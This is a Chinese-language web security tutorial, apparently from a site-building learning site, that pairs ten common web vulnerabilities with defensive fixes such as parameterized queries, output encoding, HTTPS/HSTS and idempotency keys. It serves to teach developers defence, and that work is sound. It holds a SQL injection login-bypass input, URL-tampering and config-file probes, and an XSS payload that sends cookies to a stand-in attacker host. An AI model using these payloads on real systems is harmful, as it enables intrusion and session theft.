<网f站o学a习s制p作.cn>
 针对Web十大常见漏洞(SQL注入、XSS、越权等),本文提供详细攻击案例与对应解决方案(参数化查询、HTTPS、加密存储等),帮助开发者快速提升系统安全性。
1. SQL注入
案例:登录框输入
用户名:admin' --
密码:任意
后台SQL变成:
 
sql
SELECT * FROM users WHERE name='admin' -- ' AND pwd='xxx'
-- 注释掉密码检查,攻击者无需密码即可登录。
 
解决方案:
使用参数化查询(预编译)(最有效)
 
String sql = "SELECT * FROM user WHERE name = ?";
PreparedStatement ps = conn.prepareStatement(sql);
ps.setString(1, userName);
使用ORM框架(如MyBatis用 #{} 而非 ${},Hibernate、Entity Framework)
 
对输入做严格校验(白名单:只允许字母数字等),最小化数据库权限(应用账号仅CRUD所需表,无DDL权限)
 
 
 
2. 跨站脚本攻击(XSS)
案例:评论区提交
 
html
<script>location.href='http://evil.com/steal?cookie='+document.cookie</script>
其他用户访问页面时,脚本自动执行,Cookie被发送到攻击者服务器。
 
极倔方案:
输出编码/转义(根据上下文)
用户输入 <script> 变为 &lt;script&gt;
设置HTTP-only Cookie(防止JS读取敏感Cookie)
Content-Security-Policy: script-src 'self'
 
 
3. 没有限制URL访问
案例:普通用户登录后,尝试访问:
https://example.com/admin/deleteUser?id=100
后端未做权限校验,直接删除用户。
 
解决方案:
所有URL默认拒绝,显式白名单放行
不依赖前端隐藏按钮(后端必须校验)
 
4. 越权访问(水平/垂直越权)
案例:用户A查看自己订单:
https://example.com/order?id=1001
将id改为1002(用户B的订单),如果后端未校验归属,即可查看他人订单。
 
解决方案:
使用不连续、不可预测的资源ID(UUID替代自增ID)
基于会话的用户身份+权限统一校验
API级别注解(如 @PreAuthorize("hasPermission(#id, 'order', 'read')"))
 
5. 泄露配置信息
案例:访问https://example.com/.git/config 或 /WEB-INF/web.xml
或页面报错显示数据库连接字符串、API密钥、绝对路径。
解决方案:
禁止输出详细错误到客户端(统一错误页面,如500只显示“系统繁忙”)
配置文件分离(生产配置不提交Git,使用环境变量或配置中心)
bash
# 环境变量方式
DB_PASSWORD=xxx
关闭目录列表(Apache/nginx配置 Options -Indexes)
删除.git、备份文件、.DS_Store等非必要暴露文件
 
6. 不安全的加密存储
案例:数据库存储用户密码为 MD5(明文) 或 base64。
攻击者拖库后,用彩虹表快速破解出密码“123456”。
 
解决方案:
敏感数据:AES-256-GCM,密钥与数据分开存储(如密钥在KMS/HSM)
不使用MD5/SHA1/Base64 存储密码
定期更换密钥(针对加密存储的已有数据)
 
7. 传输层保护不足
案例:登录页面使用HTTP而非HTTPS。
同一WiFi下的攻击者抓包,直接获取明文用户名和密码。
解决方案:
全站HTTPS(包括API、静态资源)
强制HSTS
Strict-Transport-Security: max-age=31536000; includeSubDomains
TLS 1.2+,禁用SSLv3/TLS1.0
避免混合内容(HTTPS页面中不能有HTTP请求)
使用可信证书(Let's Encrypt或商业CA)
 
8. 登录信息提示
案例:登录失败时提示“用户名不存在” vs “密码错误”。
攻击者可枚举有效用户名,缩小爆破范围。
解决方案:
一提示:“用户名或密码错误”(不区分两者)
增加二次校验:即使用户名错误也执行相同哈希运算(消耗相同时间)
限制登录尝试次数(验证码、账户临时锁定)
 
9. 重复提交请求
案例:下单接口未做幂等处理。
攻击者抓包后重放100次,每重放一次就扣一次库存、生成一笔订单(或扣一次钱)。
解决方案:
幂等令牌(Idempotency Key)
后端以Key为锁,重复请求直接返回已有结果
表单提交后重定向(PRG模式)
前端提交后禁用按钮+后端去重表
使用乐观锁(版本号) 避免重复更新
 
10. 网页脚本错误
案例:页面JS报错(如 xxx is not defined),泄露内部函数名、Ajax请求地址、部分业务逻辑。
攻击者借此推断后端框架、API结构,用于构造进一步攻击。
解决方案:
前端代码压缩混淆(减少可读性)
生产环境关闭详细JS报错(使用Sentry等错误监控工具,但不对用户展示堆栈)
严格使用'use strict' + ESLint 避免低级语法错误
API错误统一返回标准化信息(不暴露内部函数名/路径)

http://%77%77%77%2E%66网站制作%6F学习网%72%61%73%70%2E%63%6E